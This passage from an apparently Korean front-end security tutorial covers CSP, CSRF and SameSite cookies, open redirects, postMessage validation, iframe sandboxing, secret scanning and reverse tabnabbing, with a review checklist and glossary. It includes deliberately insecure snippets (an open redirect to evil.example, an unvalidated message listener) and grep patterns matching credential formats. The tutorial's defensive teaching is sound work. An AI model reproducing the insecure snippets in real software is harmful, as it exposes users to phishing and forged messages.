`default-src 'self'; script-src 'nonce-${nonce}' 'strict-dynamic'; object-src 'none'; base-uri 'none'; frame-ancestors 'none'`,
);
next();
});
Recap
CSP는 허용할 리소스와 실행 경로를 선언해 XSS 피해를 줄이는 2차 방어선입니다. directive가 "무엇을" 통제한다면 source 값은 "어디까지" 허용할지를 정합니다. 먼저 Report-Only로 실제 위반을 관측하고 정당한 출처만 반영한 뒤 enforce로 전환합니다. 스크립트의 'unsafe-inline'은 가능한 한 제거하고, 동적 인라인에는 nonce, 정적 인라인에는 hash를 사용합니다. 'strict-dynamic'을 쓸 때는 nonce를 받은 로더가 곧 새로운 신뢰 경계가 된다는 점까지 검토해야 합니다.
그 밖의 신뢰 경계들
XSS·CSP만큼 매일 보는 건 아니지만, 결국 전부 "신뢰 경계를 넘는 데이터"라는 하나의 관점으로 통하는 이야기들입니다.
CSRF와 쿠키 SameSite
CSRF(Cross-Site Request Forgery)는 공격자 사이트가 로그인된 사용자의 브라우저를 이용해 대상 서비스로 위조 요청을 보내는 공격입니다. 세션 쿠키처럼 브라우저가 요청에 자동으로 붙이는 자격 증명이 있을 때 전형적으로 성립합니다. 응답을 읽지 못해도 송금이나 설정 변경이 끝났다면 공격은 성공한 것이므로, 앞에서 본 CORS의 읽기 제한은 CSRF 방어가 아닙니다.
Authorization 헤더의 bearer token처럼 애플리케이션 코드가 직접 붙이는 자격 증명만 쓴다면 전통적인 폼 기반 CSRF 표면은 줄어듭니다. 그렇다고 인증·인가나 XSS 검토가 사라지는 것은 아닙니다. XSS 코드는 같은 origin에서 헤더를 붙여 요청할 수 있기 때문입니다.
SameSite는 강력한 브라우저 방어층이지만 이것 하나로 끝내지는 않습니다. 애플리케이션 성격에 따라 CSRF 토큰, Origin·Referer 검증, Fetch Metadata 같은 방어를 조합하고 상태 변경을 GET으로 처리하지 않아야 합니다.
Strict: 크로스사이트 요청엔 쿠키를 보내지 않음 (가장 안전하지만 일부 UX가 깨짐).Lax: 크로스사이트 top-level navigation 중 GET 같은 안전한 메서드에는 보낼 수 있지만, 일반적인 크로스사이트 서브리소스 요청과 unsafe method에는 보내지 않음 (대체로 권장되는 균형).None: 쿠키가 허용되는 크로스사이트 요청에도 전송할 수 있게 함 (Secure필수). 의도적인 크로스사이트 공유에만 사용.
# 🟢 세션·인증 쿠키: 크로스사이트 전송 범위를 명시적으로 제한
Set-Cookie: session=...; HttpOnly; Secure; SameSite=Lax; Path=/
# 🔴 SameSite 미지정: 브라우저의 기본 Lax 처리와 호환 규칙에 의존
Set-Cookie: session=...
// Express 예시: 새 쿠키엔 항상 보안 속성을 함께 준다
res.cookie("session", token, {
httpOnly: true, // document.cookie로 읽지 못하게 함. XSS의 요청 실행까지 막지는 못함
secure: true, // HTTPS에서만 전송
sameSite: "lax", // 대부분의 크로스사이트 요청에서 쿠키 전송 제한
});
SameSite의 "site"는 origin과 다릅니다. 같은 등록 가능 도메인의 서브도메인은 서로 다른 origin이어도 same-site일 수 있으므로, 신뢰하지 않는 서브도메인이 있다면 SameSite만으로 요청을 구분할 수 없습니다. 쿠키 속성을 생략했을 때 일부 브라우저가 적용하는 기본 Lax에는 최근 생성된 쿠키의 POST 예외 같은 호환 동작도 있으므로 보안 의도는 속성으로 명시합니다.
여기서 마주한 현실적인 어려움은 쿠키를 굽는(set) 주체가 코드 곳곳에 흩어져 있다는 점이었습니다. 앱의 훅, 태그 매니저, 외부 SDK, 서비스 레이어가 제각기 쿠키를 쓰면, SameSite를 일관되게 적용하려면 그 writer들을 전수로 추적해야 합니다.
응답 헤더 정보 노출
X-Powered-By, Server 같은 헤더는 서버 기술 스택을 드러낼 수 있으므로 필요하지 않다면 app.disable("x-powered-by") 같은 설정으로 줄입니다. 다만 이는 낮은 비용의 정보 노출 완화책일 뿐입니다. 공격자는 응답 동작으로도 기술을 추정할 수 있으므로, 패치와 안전한 설정을 대신하지는 못합니다.
// Express는 기본적으로 응답에 X-Powered-By: Express 를 노출한다 → 끈다
app.disable("x-powered-by");
서드파티 스크립트와 공급망
태그 매니저(예: GTM) 컨테이너는 사실상 "임의 JS 주입구" 입니다. 컨테이너가 탈취되거나 잘못 설정되면, 그게 로드되는 모든 페이지에서 임의 스크립트가 실행됩니다. 전역 XSS나 다름없습니다. 특히 로그인·인사평가 같은 민감 페이지에 광고·분석 태그가 붙어 있으면 프라이버시·XSS 표면이 됩니다. 로그인·결제처럼 민감한 페이지에서는 불필요하거나 이미 종료된 태그를 정리하는 게 정공법입니다. 이건 CSP의 script-src allowlist와도 직결됩니다. 와일드카드 허용은 신뢰 집합을 키웁니다.
오픈 리다이렉트
window.location = 사용자입력 형태로 ?next=, redirect_uri= 같은 파라미터를 검증 없이 따라가면, 우리 도메인 링크처럼 보이지만 외부로 튕기는 피싱이 됩니다. 방어는 목적지 allowlist입니다. 코드에 고정된 같은 origin 경로처럼 공격자가 값을 바꿀 수 없는 경우에는 오픈 리다이렉트가 성립하지 않습니다. 백엔드가 내려준 값도 원래 입력을 사용자가 좌우할 수 있다면 다시 검증해야 합니다.
// 🔴 위험: 사용자가 준 next 를 그대로 따라간다 (오픈 리다이렉트)
const next = new URLSearchParams(location.search).get("next");
location.href = next; // next="https://evil.example/login" → 외부 피싱으로 튕김
// 🟢 안전: 같은 출처의 '경로'만 허용 (절대 URL·프로토콜 변경 차단)
function safeNext(raw: string | null): string {
if (!raw) return "/";
try {
const url = new URL(raw, location.origin); // 상대경로는 현재 origin 기준 파싱
return url.origin === location.origin ? url.pathname + url.search : "/";
} catch {
return "/";
}
}
location.href = safeNext(next); // "//evil.com" · 백슬래시 · 인코딩 우회 모두 "/" 로 떨어짐
validateNextUrl() 같은 검증 함수가 있다고 끝이 아닙니다. //evil.com, 백슬래시, 인코딩 우회에 견고한지는 별도로 점검해야 합니다.
창 간 통신: postMessage
window.addEventListener("message", ...)로 다른 origin의 창·iframe이 보낸 메시지를 받을 때, 검증 없이 event.data로 행동하면 아무나 메시지를 위조할 수 있습니다. 수신 측은 세 층을 확인합니다.
event.origin을 기대하는 origin과 비교한다.- 특정 iframe과의 통신이면
event.source === iframeRef.current.contentWindow로 그 창에 핀(pin) 하는 게 더 견고하다. event.data를 신뢰하지 말고 메시지 타입과 필드 스키마를 검증한다.
// 🔴 위험: 보낸 사람을 확인하지 않고 메시지대로 행동
window.addEventListener("message", (e) => {
// 어떤 사이트든 e.data 를 위조해 보낼 수 있다
if (e.data?.type === "SET_TOKEN") setToken(e.data.token);
});
// 🟢 안전: origin·source·메시지 모양을 검증
const ALLOWED_ORIGIN = "https://trusted.example";
window.addEventListener("message", (e) => {
if (e.origin !== ALLOWED_ORIGIN) return; // 1) 보낸 origin 확인
if (e.source !== iframeRef.current?.contentWindow) return; // 2) 그 창인지 핀
if (
typeof e.data !== "object" ||
e.data === null ||
e.data.type !== "SET_THEME" ||
!["light", "dark"].includes(e.data.theme)
) return; // 3) 메시지 스키마 확인
setTheme(e.data.theme);
});
송신 측도 postMessage(message, "*")를 기본값처럼 쓰지 말고 수신자의 정확한 origin을 targetOrigin으로 지정해야 합니다. 창은 메시지를 주고받는 동안 다른 URL로 이동할 수 있으므로 source 객체가 같다는 사실만으로 현재 상대의 origin을 대신할 수 없습니다. 수신 시점의 event.origin과 기대한 창을 함께 확인합니다.
BroadcastChannel이나 서비스 워커 메시지는 window.postMessage와 신뢰 모델과 검증 API가 다릅니다. event.origin 검사를 기계적으로 복사할 대상은 아니지만 채널, 발신 주체, 메시지 스키마가 기대한 것인지는 여전히 검증해야 합니다.
저도 처음에는 이름에 message가 붙은 수신부를 모조리 같은 방식으로 의심했습니다. window.postMessage와 BroadcastChannel, 서비스 워커 메시지의 경계를 나눠 보고 나서야 어디에는 origin 검사가 필요하고 어디에는 채널과 스키마 검증이 필요한지 점검 범위를 제대로 줄일 수 있었습니다.
신뢰할 수 없는 코드(예: LLM 생성물)를 실행해야 한다면 iframe을 별도 origin에서 제공하고 필요한 sandbox 토큰만 엽니다. 스크립트가 필요하면 allow-scripts는 주되, 같은 origin의 iframe에 allow-scripts와 allow-same-origin을 함께 주는 구성은 피합니다. iframe 안의 코드가 sandbox 속성을 제거하고 다시 로드할 수 있기 때문입니다. 카메라·마이크·위치·결제 같은 기능은 Permissions-Policy로 다시 좁힙니다. 여기서는 검증 함수보다 격리 구조 자체가 신뢰 경계가 됩니다.
시크릿 vs 공개 키
- 진짜 시크릿(서버 비밀키, DB 비밀번호, 비공개 토큰)은 절대 FE 번들·소스에 들어가면 안 됩니다. 전용 secret scanner와 저장소·빌드 산출물 검사를 CI에 넣고, 발견한 값은 실제 권한과 노출 범위를 확인한 뒤 필요하면 즉시 폐기·회전합니다.
- 공개로 설계된 키도 있습니다. 예를 들어 Google Maps 브라우저 API 키는 클라이언트로 내려가야 동작하므로, 하드코딩이 곧 "유출"은 아닙니다. 이 경우 통제는 비밀로 두는 게 아니라 제공자 콘솔에서 HTTP 리퍼러 제한 + API 제한으로 합니다.
# 빠른 1차 후보 검색. 일치한다고 모두 시크릿인 것은 아니며 전용 스캐너를 대신하지 않는다
grep -rEn \
-e 'AKIA[0-9A-Z]{16}' \
-e 'AIza[0-9A-Za-z_-]{35}' \
-e 'BEGIN (RSA |EC )?PRIVATE KEY' \
-e 'eyJ[A-Za-z0-9_-]{10,}' \
src/
교훈: "키가 코드에 있다 = 취약"이 아니라, 그 키가 비밀이어야 하는 종류인가를 먼저 판단해야 합니다.
reverse tabnabbing
target="_blank"로 열린 페이지가 window.opener로 원래 탭을 조작해 피싱하는 공격입니다. 직접적인 방어는 rel="noopener"입니다. noreferrer는 opener도 끊지만 Referer 헤더까지 제거하므로, referrer 전달을 막아야 할 때 추가합니다. 현대 브라우저의 일반적인 _blank 링크는 암묵적으로 noopener처럼 동작하지만, 호환성과 의도를 분명히 하려면 명시하거나 react/jsx-no-target-blank 같은 린트 규칙을 둘 수 있습니다.
<!-- 🟢 외부 링크는 명시적으로 opener 차단 (구형 브라우저까지 안전) -->
<a href="https://external.example" target="_blank" rel="noopener">열기</a>
Recap
CSRF는 CORS와 구분하고 SameSite에 토큰·요청 출처 검증 등을 조합합니다. 서드파티 스크립트는 우리 origin에서 실행할 주체를 늘리므로 인벤토리와 CSP로 범위를 줄이고, 오픈 리다이렉트는 목적지 allowlist로 막습니다. postMessage는 origin·source·데이터 스키마를 함께 검증하며, 신뢰할 수 없는 실행 코드는 별도 origin의 sandbox iframe으로 격리합니다. 시크릿 후보는 실제 권한을 확인하고 노출된 값은 회전합니다.
방법론
개별 취약점만큼이나 "어떻게 훑느냐"가 중요했습니다. 재사용 가능한 사고법으로 정리합니다.
- 점진 롤아웃(Report-Only 패턴): 보안 변경은 깨질 수 있으니 차단 전에 관측합니다. 위반을 수집 → 정당한 것만 허용 → 안정화 후 enforce. CSP 말고도 "조이는" 변경 전반에 통합니다.
- 싱크부터 역추적(taint 사고): "이 민감한 함수에 공격자가 좌우할 수 있는 데이터가 닿는가?"를 따라갑니다. 싱크 후보를 검색으로 모은 뒤 각 후보에서 소스까지 거슬러 올라갑니다. 코드에 고정된 값이라면 주입 가능성은 낮지만, 빌드 설정·CMS·태그 매니저가 바꾸는 값이면 그 경로까지 봅니다.
- 우선순위는 악용 가능성과 영향으로 정합니다. 위험한 API가 있다는 사실만으로 즉시 취약점은 아닙니다. 공격자가 값을 통제할 수 있는지, 실제 싱크까지 도달하는지, 인증 없이 재현되는지 확인한 뒤 피해 권한과 사용자 수를 봅니다. "도달 가능한 sink"와 "피해 범위"를 나눠 적으면 과대평가와 과소평가를 함께 줄일 수 있습니다.
- 검증의 규율(개인적으로 가장 신경 쓴 부분입니다):
- 1차 소스로 확인: 라이브러리 동작이 궁금하면 그 라이브러리 소스를 봅니다.
- 런타임으로 확인: 이스케이프·sanitize는 실제로 돌려서 입출력과 round-trip을 봅니다. (이중 이스케이프 함정을 이렇게 잡았습니다.)
- 회귀 테스트로 박제: 고친 보안 동작은 테스트로 남깁니다(
onerror제거됨,</script>탈출 안 됨 등). 누가 sanitize 단계를 지워도 바로 잡히도록 합니다. - 틀리면 즉시 정정: 덮지 말고 기록으로 남깁니다. 덮으면 같은 오해가 반복됩니다.
- 노이즈 거르기: grep은 후보를 과대 생산합니다.
document.write로 검색된 결과는 대부분document.writer(작성자)와 관련된 오탐이고,target="_blank"는 브라우저가 자동 방어하며,postMessage다수는 동일 출처(BroadcastChannel/SW)입니다. 무엇이 진짜 신뢰 경계를 넘는지로 빠르게 쳐내는 게 중요합니다.
Recap
보안 검토는 차단 전에 관측하고, 싱크에서 소스까지 데이터 흐름을 역추적하며, 악용 가능성과 피해 범위를 나눠 우선순위를 정하는 순서로 진행했습니다. 문서와 소스, 실제 런타임으로 가설을 확인하고 고친 동작은 회귀 테스트로 남깁니다. 검색 결과의 개수보다 실제로 신뢰 경계를 넘는 경로의 개수가 판단 기준입니다.
리뷰 체크리스트
새 코드나 PR을 볼 때 빠르게 훑는 용도로 정리해 둡니다.
- origin 경계: SOP가 막는 읽기와 실제 요청 전송을 구분했나? CORS에서 허용 origin을 검증하고 credentials·
Vary: Origin을 함께 처리했나? - HTML 주입:
dangerouslySetInnerHTML/innerHTML/srcdoc가 있나? 텍스트 API로 바꿀 수 있나? raw HTML이 필요하면 DOMPurify·rehype-sanitize처럼 검토된 정책을 바로 앞에서 거치나? - 코드 실행:
eval/new Function/ 문자열을 받는setTimeout없나? - 컨텍스트 이스케이프: 값을
<script>/ JSON-LD / 속성 / URL에 넣을 때 그 컨텍스트에 맞게 이스케이프하나? 이스케이프는 직렬화 후에 하나? - 강제 장치: Trusted Types를 적용할 수 있나? 정책 이름과 정책 구현을 제한했나?
- CSP:
script-src에'unsafe-inline'·'unsafe-eval'이 남았나?default-src가 폴백하지 않는frame-ancestors·form-action·base-uri도 명시했나? - 리다이렉트:
location =/window.open에 사용자 입력이 들어가면 allowlist 검증하나? postMessage통신: 수신 측이event.origin·가능하면event.source·event.data스키마를 검증하나? 송신 측은 정확한targetOrigin을 쓰나?- iframe 격리: 신뢰할 수 없는 코드를 별도 origin에 두었나? 같은 origin에서
allow-scripts와allow-same-origin을 함께 열지 않았나? 권한은 Permissions Policy로 줄였나? - 시크릿: 진짜 비밀이 번들에 있나? (공개형 키는 제공자 콘솔 제한을 확인)
- CSRF와 쿠키: 상태 변경이 GET에 있지 않나?
SameSite/Secure/HttpOnly외에 토큰·Origin·Fetch Metadata 중 필요한 방어가 있나? - 서드파티 스크립트: 인증·민감 페이지에 불필요한 외부 태그가 붙나? CSP allowlist에 와일드카드를 남발하지 않나?
- 신뢰 경계 질문: "이 데이터 어디서 왔고, 어디로(누구에게) 가나?"
용어 사전 (빠른 참조)
- 싱크(sink): 위험한 동작이 일어나는 코드 지점(HTML 주입·코드 실행 등). 여기에 오염된 데이터가 닿으면 취약해집니다.
- 소스(source) / 오염(taint): 신뢰할 수 없는 입력(오염원)과, 그것이 싱크까지 흐르는지 추적하는 사고.
- 신뢰 경계(trust boundary): 신뢰 영역과 비신뢰 영역의 경계선. 보안 작업의 핵심 대상.
- origin / site: origin은 scheme·host·port가 모두 같은 단위이고, schemeful site는 scheme과 등록 가능 도메인을 중심으로 묶는 더 넓은 단위입니다. SOP·CORS는 주로 origin, 쿠키
SameSite는 site를 기준으로 봅니다. - SOP / CORS: SOP는 origin 사이의 읽기와 상호작용을 제한하는 브라우저 기본 정책이고, CORS는 서버가 선택한 origin에 응답 공유를 허용하는 프로토콜입니다.
- 완화책(mitigation) vs 취약점(vulnerability): 완화책(CSP 등 2차 방어) vs 실제 구멍(취약점). 서로 다른 레이어.
- sanitize / escape: sanitize는 허용 목록으로 위험 요소를 제거하는 것, escape는 특수문자를 데이터로 무력화하는 것. 컨텍스트마다 방식이 다릅니다.
- Trusted Types: DOM XSS 싱크가 평범한 문자열을 거부하고 허용된 정책이 만든 타입만 받게 하는 강제 장치.
- CSP / nonce /
strict-dynamic: 리소스 로드와 실행을 제한하는 정책 / 인라인 스크립트에 매 요청 부여하는 예측 불가능한 값 / nonce·hash로 신뢰된 스크립트의 동적 로드에 신뢰를 전파하는 키워드. - Report-Only: CSP를 차단 없이 위반만 보고하게 하는 모드(정찰용).
SameSite: 크로스사이트 요청에 쿠키를 보낼지 정하는 쿠키 속성(CSRF 방어).- 오픈 리다이렉트(open redirect): 검증 없는 리다이렉트로 외부 피싱 사이트로 튕기는 취약점.
- reverse tabnabbing:
target="_blank"로 열린 페이지가 원래 탭을 조작하는 공격(현대엔 거의 자동 방어). - defense in depth: 한 겹이 뚫려도 다음 겹이 막도록 여러 방어선을 겹치는 원칙.
보안 검토는 "누가 이 값과 행동을 결정했고, 어느 권한으로 어디까지 도달하는가"를 경계마다 확인하는 일입니다. 안전한 API와 검증으로 원인을 막고, CSP와 격리로 다음 방어선을 세운 뒤 코드·런타임·1차 소스로 가설을 확인합니다.
보안이 막막하게 느껴지는 분께, 이 "신뢰 경계"라는 한 축이 좋은 출발점이 되면 좋겠습니다.
References
브라우저의 출처 경계
XSS
- OWASP: Cross Site Scripting (XSS)
- OWASP: DOM Based XSS
- OWASP Cheat Sheet: Cross Site Scripting Prevention
- OWASP Cheat Sheet: DOM based XSS Prevention
Sanitization
Trusted Types
Output Encoding / JSON-LD
- OWASP Cheat Sheet: Injection Prevention (Output Encoding)
- zertosh/htmlescape
- serialize-javascript (yahoo)
CSP
- MDN: Content-Security-Policy
- web.dev: Content Security Policy & strict-dynamic
- W3C: Content Security Policy Level 3
- csp.withgoogle.com
CSRF / Cookies
- OWASP: Cross-Site Request Forgery (CSRF)
- OWASP Cheat Sheet: CSRF Prevention
- web.dev: SameSite cookies explained
- MDN: Set-Cookie SameSite
기타
- OWASP: Unvalidated Redirects and Forwards Cheat Sheet
- MDN, Window: postMessage()
- MDN: Permissions-Policy
- MDN: iframe sandbox
